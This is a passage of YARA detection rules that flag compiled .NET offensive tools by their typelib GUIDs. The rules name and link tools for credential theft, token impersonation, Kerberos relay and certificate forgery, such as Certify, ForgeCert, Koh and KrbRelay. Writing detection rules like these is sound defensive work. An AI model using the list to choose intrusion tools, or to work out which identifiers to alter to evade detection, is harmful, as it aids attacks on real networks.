		id = "3077dd0c-6936-5340-8da9-e8643de4d864"

	strings:
		$typelibguid0lo = "bc72386f-8b4c-44de-99b7-b06a8de3ce3f" ascii wide
		$typelibguid0up = "BC72386F-8B4C-44DE-99B7-B06A8DE3CE3F" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_LockLess
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/LockLess"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "f9b31f57-d721-5b6c-be63-b8309cba788a"

	strings:
		$typelibguid0lo = "a91421cb-7909-4383-ba43-c2992bbbac22" ascii wide
		$typelibguid0up = "A91421CB-7909-4383-BA43-C2992BBBAC22" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_EasyNet
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/TheWover/EasyNet"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "8408a057-4910-5d7b-80bc-78df17c95bf7"

	strings:
		$typelibguid0lo = "3097d856-25c2-42c9-8d59-2cdad8e8ea12" ascii wide
		$typelibguid0up = "3097D856-25C2-42C9-8D59-2CDAD8E8EA12" ascii wide
		$typelibguid1lo = "ba33f716-91e0-4cf7-b9bd-b4d558f9a173" ascii wide
		$typelibguid1up = "BA33F716-91E0-4CF7-B9BD-B4D558F9A173" ascii wide
		$typelibguid2lo = "37d6dd3f-5457-4d8b-a2e1-c7b156b176e5" ascii wide
		$typelibguid2up = "37D6DD3F-5457-4D8B-A2E1-C7B156B176E5" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpByeBear
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/S3cur3Th1sSh1t/SharpByeBear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "4a7f2514-2519-5fd5-9d17-110a67f829e7"

	strings:
		$typelibguid0lo = "a6b84e35-2112-4df2-a31b-50fde4458c5e" ascii wide
		$typelibguid0up = "A6B84E35-2112-4DF2-A31B-50FDE4458C5E" ascii wide
		$typelibguid1lo = "3e82f538-6336-4fff-aeec-e774676205da" ascii wide
		$typelibguid1up = "3E82F538-6336-4FFF-AEEC-E774676205DA" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpHide
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/outflanknl/SharpHide"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "928e00c1-549a-58f5-9e7e-982a4319691a"

	strings:
		$typelibguid0lo = "443d8cbf-899c-4c22-b4f6-b7ac202d4e37" ascii wide
		$typelibguid0up = "443D8CBF-899C-4C22-B4F6-B7AC202D4E37" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpSvc
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/jnqpblc/SharpSvc"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "cbc1d7d4-f3b4-5d02-84ae-621398cb7b51"

	strings:
		$typelibguid0lo = "52856b03-5acd-45e0-828e-13ccb16942d1" ascii wide
		$typelibguid0up = "52856B03-5ACD-45E0-828E-13CCB16942D1" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpCrashEventLog
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/slyd0g/SharpCrashEventLog"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "85d31989-ad96-5005-a747-8a19a67fdd80"

	strings:
		$typelibguid0lo = "98cb495f-4d47-4722-b08f-cefab2282b18" ascii wide
		$typelibguid0up = "98CB495F-4D47-4722-B08F-CEFAB2282B18" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DotNetToJScript_LanguageModeBreakout
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/FuzzySecurity/DotNetToJScript-LanguageModeBreakout"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "8c8cf79f-8e69-5293-b27a-1f8593061627"

	strings:
		$typelibguid0lo = "deadb33f-fa94-41b5-813d-e72d8677a0cf" ascii wide
		$typelibguid0up = "DEADB33F-FA94-41B5-813D-E72D8677A0CF" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharPermission
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/mitchmoser/SharPermission"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "d5027f51-f3ca-53cd-96d7-c355b5c2e6fa"

	strings:
		$typelibguid0lo = "84d2b661-3267-49c8-9f51-8f72f21aea47" ascii wide
		$typelibguid0up = "84D2B661-3267-49C8-9F51-8F72F21AEA47" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_RegistryStrikesBack
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/mdsecactivebreach/RegistryStrikesBack"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "1577ed24-0e17-54f9-bc29-bb209acf9645"

	strings:
		$typelibguid0lo = "90ebd469-d780-4431-9bd8-014b00057665" ascii wide
		$typelibguid0up = "90EBD469-D780-4431-9BD8-014B00057665" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_CloneVault
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/mdsecactivebreach/CloneVault"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "3340a095-d926-5c85-b7ed-03151712538d"

	strings:
		$typelibguid0lo = "0a344f52-6780-4d10-9a4a-cb9439f9d3de" ascii wide
		$typelibguid0up = "0A344F52-6780-4D10-9A4A-CB9439F9D3DE" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_donut
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/TheWover/donut"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "564dfd0a-af9b-505f-a6f0-de2a5c5c63f3"

	strings:
		$typelibguid0lo = "98ca74c7-a074-434d-9772-75896e73ceaa" ascii wide
		$typelibguid0up = "98CA74C7-A074-434D-9772-75896E73CEAA" ascii wide
		$typelibguid1lo = "3c9a6b88-bed2-4ba8-964c-77ec29bf1846" ascii wide
		$typelibguid1up = "3C9A6B88-BED2-4BA8-964C-77EC29BF1846" ascii wide
		$typelibguid2lo = "4fcdf3a3-aeef-43ea-9297-0d3bde3bdad2" ascii wide
		$typelibguid2up = "4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2" ascii wide
		$typelibguid3lo = "361c69f5-7885-4931-949a-b91eeab170e3" ascii wide
		$typelibguid3up = "361C69F5-7885-4931-949A-B91EEAB170E3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpHandler
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/jfmaes/SharpHandler"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "b71198a9-4d00-5d75-bc36-7c40655c84a3"

	strings:
		$typelibguid0lo = "46e39aed-0cff-47c6-8a63-6826f147d7bd" ascii wide
		$typelibguid0up = "46E39AED-0CFF-47C6-8A63-6826F147D7BD" ascii wide
		$typelibguid1lo = "11dc83c6-8186-4887-b228-9dc4fd281a23" ascii wide
		$typelibguid1up = "11DC83C6-8186-4887-B228-9DC4FD281A23" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Driver_Template
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/FuzzySecurity/Driver-Template"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "539f88c5-e779-55e0-98df-299a9068de9b"

	strings:
		$typelibguid0lo = "bdb79ad6-639f-4dc2-8b8a-cd9107da3d69" ascii wide
		$typelibguid0up = "BDB79AD6-639F-4DC2-8B8A-CD9107DA3D69" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_NashaVM
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/Mrakovic-ORG/NashaVM"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "3abbf636-01f4-547a-98c0-d7bfec07e31a"

	strings:
		$typelibguid0lo = "f9e63498-6e92-4afd-8c13-4f63a3d964c3" ascii wide
		$typelibguid0up = "F9E63498-6E92-4AFD-8C13-4F63A3D964C3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpSQLPwn
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/lefayjey/SharpSQLPwn.git"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2022-11-21"
		modified = "2023-04-06"
		id = "b533d61a-8693-5c3c-8b31-2117262cad4e"

	strings:
		$typelibguid0lo = "c442ea6a-9aa1-4d9c-9c9d-7560a327089c" ascii wide
		$typelibguid0up = "C442EA6A-9AA1-4D9C-9C9D-7560A327089C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Group3r
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/Group3r/Group3r.git"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2022-11-21"
		modified = "2023-04-06"
		id = "0571d71e-50ca-5c1b-b750-34acc2d06687"

	strings:
		$typelibguid0lo = "868a6c76-c903-4a94-96fd-a2c6ba75691c" ascii wide
		$typelibguid0up = "868A6C76-C903-4A94-96FD-A2C6BA75691C" ascii wide
		$typelibguid1lo = "caa7ab97-f83b-432c-8f9c-c5f1530f59f7" ascii wide
		$typelibguid1up = "CAA7AB97-F83B-432C-8F9C-C5F1530F59F7" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_TokenStomp
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/MartinIngesen/TokenStomp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2022-11-21"
		modified = "2023-04-06"
		id = "e4266969-ab03-50dc-b5b1-f4bb1c9846f4"

	strings:
		$typelibguid0lo = "8aac271f-9b0b-4dc3-8aa6-812bb7a57e7b" ascii wide
		$typelibguid0up = "8AAC271F-9B0B-4DC3-8AA6-812BB7A57E7B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_KrbRelay
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/cube0x0/KrbRelay"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2022-11-21"
		modified = "2023-04-06"
		id = "3f59986c-8bd8-5e70-b3eb-038247d1ccd7"

	strings:
		$typelibguid0lo = "ed839154-90d8-49db-8cdd-972d1a6b2cfd" ascii wide
		$typelibguid0up = "ED839154-90D8-49DB-8CDD-972D1A6B2CFD" ascii wide
		$typelibguid1lo = "3b47eebc-0d33-4e0b-bab5-782d2d3680af" ascii wide
		$typelibguid1up = "3B47EEBC-0D33-4E0B-BAB5-782D2D3680AF" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SQLRecon
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/skahwah/SQLRecon"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-01-20"
		modified = "2023-04-06"
		id = "f9ea5283-0a5c-5bde-966c-80869ee25888"

	strings:
		$typelibguid0lo = "612c7c82-d501-417a-b8db-73204fdfda06" ascii wide
		$typelibguid0up = "612C7C82-D501-417A-B8DB-73204FDFDA06" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Certify
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/Certify"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-06"
		modified = "2023-04-06"
		hash = "da585a8d4985082873cb86204d546d3f53668e034c61e42d247b11e92b5e8fc3"
		id = "69f120fe-bd4d-59ba-b1b9-528ab300e450"

	strings:
		$typelibguid0lo = "64524ca5-e4d0-41b3-acc3-3bdbefd40c97" ascii wide
		$typelibguid0up = "64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Aladdin
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/nettitude/Aladdin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-13"
		modified = "2023-04-06"
		id = "3f0a954c-f3b3-5e5d-a71d-11f60b026a48"

	strings:
		$typelibguid0lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
		$typelibguid0up = "B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3" ascii wide
		$typelibguid1lo = "c47e4d64-cc7f-490e-8f09-055e009f33ba" ascii wide
		$typelibguid1up = "C47E4D64-CC7F-490E-8F09-055E009F33BA" ascii wide
		$typelibguid2lo = "32a91b0f-30cd-4c75-be79-ccbd6345de99" ascii wide
		$typelibguid2up = "32A91B0F-30CD-4C75-BE79-CCBD6345DE99" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpLdapRelayScan
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/klezVirus/SharpLdapRelayScan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-15"
		modified = "2023-04-06"
		id = "554a5487-ac53-512f-8f6f-ad8186144715"

	strings:
		$typelibguid0lo = "a93ee706-a71c-4cc1-bf37-f26c27825b68" ascii wide
		$typelibguid0up = "A93EE706-A71C-4CC1-BF37-F26C27825B68" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_LdapSignCheck
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/cube0x0/LdapSignCheck"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-15"
		modified = "2023-04-06"
		id = "a8b902f0-61a5-509e-8307-79bf557e5f61"

	strings:
		$typelibguid0lo = "21f398a9-bc35-4bd2-b906-866f21409744" ascii wide
		$typelibguid0up = "21F398A9-BC35-4BD2-B906-866F21409744" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpSCCM
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/Mayyhem/SharpSCCM"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-15"
		modified = "2023-04-06"
		id = "276269b1-e3b3-5774-a86a-1c3a8bca8209"

	strings:
		$typelibguid0lo = "03652836-898e-4a9f-b781-b7d86e750f60" ascii wide
		$typelibguid0up = "03652836-898E-4A9F-B781-B7D86E750F60" ascii wide
		$typelibguid1lo = "e4d9ef39-0fce-4573-978b-abf8df6aec23" ascii wide
		$typelibguid1up = "E4D9EF39-0FCE-4573-978B-ABF8DF6AEC23" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Koh
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/Koh"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-18"
		modified = "2023-04-06"
		id = "9702526c-b10d-553d-a803-47e352533858"

	strings:
		$typelibguid0lo = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii wide
		$typelibguid0up = "4D5350C8-7F8C-47CF-8CDE-C752018AF17E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ForgeCert
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/ForgeCert"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-18"
		modified = "2023-04-06"
		id = "06b3ffbb-5a76-50a0-86dc-b9658bf2d7ec"

	strings:
		$typelibguid0lo = "bd346689-8ee6-40b3-858b-4ed94f08d40a" ascii wide
		$typelibguid0up = "BD346689-8EE6-40B3-858B-4ED94F08D40A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Crassus
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/vu-ls/Crassus"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-18"
		modified = "2023-04-06"
		id = "d4f94aa3-0431-5ac1-8718-0f0526c3714f"

	strings:
		$typelibguid0lo = "7e9729aa-4cf2-4d0a-8183-7fb7ce7a5b1a" ascii wide
		$typelibguid0up = "7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_RestrictedAdmin
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/RestrictedAdmin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-18"
		modified = "2023-04-06"
		id = "1b3572a5-bb21-58bb-91f9-963a0a17d699"

	strings:
		$typelibguid0lo = "79f11fc0-abff-4e1f-b07c-5d65653d8952" ascii wide
		$typelibguid0up = "79F11FC0-ABFF-4E1F-B07C-5D65653D8952" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_p2p
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid (p2p Remote Desktop is dual use but 100% flagged as malicious on VT)"
		reference = "https://github.com/miroslavpejic85/p2p"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-19"
		modified = "2023-04-06"
		id = "e7b2b4bd-f1e1-5062-9b36-5df44ae374ea"

	strings:
		$typelibguid0lo = "33456e72-f8e8-4384-88c4-700867df12e2" ascii wide
		$typelibguid0up = "33456E72-F8E8-4384-88C4-700867DF12E2" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpWSUS
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/nettitude/SharpWSUS"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "f020eea9-4ff4-5242-b9b2-53284505dab4"

	strings:
		$typelibguid0lo = "42cabb74-1199-40f1-9354-6294bba8d3a4" ascii wide
		$typelibguid0up = "42CABB74-1199-40F1-9354-6294BBA8D3A4" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpImpersonation
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/S3cur3Th1sSh1t/SharpImpersonation"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "5815c5bd-e3e8-5f2f-b03e-8a05fb4f6e91"

	strings:
		$typelibguid0lo = "27a85262-8c87-4147-a908-46728ab7fc73" ascii wide
		$typelibguid0up = "27A85262-8C87-4147-A908-46728AB7FC73" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpCloud
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/chrismaddalena/SharpCloud"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "048b0239-ea13-58ff-af35-fd505b4c977a"

	strings:
		$typelibguid0lo = "ca4e257e-69c1-45c5-9375-ba7874371892" ascii wide
		$typelibguid0up = "CA4E257E-69C1-45C5-9375-BA7874371892" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpSSDP
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/rvrsh3ll/SharpSSDP"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "8441e940-ab7c-5467-9db8-35f71bd57580"

	strings:
		$typelibguid0lo = "6e383de4-de89-4247-a41a-79db1dc03aaa" ascii wide
		$typelibguid0up = "6E383DE4-DE89-4247-A41A-79DB1DC03AAA" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_WireTap
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/djhohnstein/WireTap"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "5513a295-8907-5a9c-adca-760b33004229"

	strings:
		$typelibguid0lo = "b5067468-f656-450a-b29c-1c84cfe8dde5" ascii wide
		$typelibguid0up = "B5067468-F656-450A-B29C-1C84CFE8DDE5" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_KittyLitter
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/djhohnstein/KittyLitter"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "f457b91f-4adb-5be6-b9c2-f6cc39d4bdaf"

	strings:
		$typelibguid0lo = "449cf269-4798-4268-9a0d-9a17a08869ba" ascii wide
		$typelibguid0up = "449CF269-4798-4268-9A0D-9A17A08869BA" ascii wide
		$typelibguid1lo = "e7a509a4-2d44-4e10-95bf-b86cb7767c2c" ascii wide
		$typelibguid1up = "E7A509A4-2D44-4E10-95BF-B86CB7767C2C" ascii wide
		$typelibguid2lo = "b2b8dd4f-eba6-42a1-a53d-9a00fe785d66" ascii wide
		$typelibguid2up = "B2B8DD4F-EBA6-42A1-A53D-9A00FE785D66" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpView
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/tevora-threat/SharpView"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "2ae1bc26-c137-55ce-ae2e-3204ff07f671"

	strings:
		$typelibguid0lo = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii wide
		$typelibguid0up = "22A156EA-2623-45C7-8E50-E864D9FC44D3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Farmer
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/mdsecactivebreach/Farmer"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-22"
		modified = "2023-04-06"
		id = "f69745b9-4ebd-547a-9af3-bc340b076e5d"

	strings:
		$typelibguid0lo = "37da2573-d9b5-4fc2-ae11-ccb6130cea9f" ascii wide
		$typelibguid0up = "37DA2573-D9B5-4FC2-AE11-CCB6130CEA9F" ascii wide
		$typelibguid1lo = "49acf861-1c10-49a1-bf26-139a3b3a9227" ascii wide
		$typelibguid1up = "49ACF861-1C10-49A1-BF26-139A3B3A9227" ascii wide
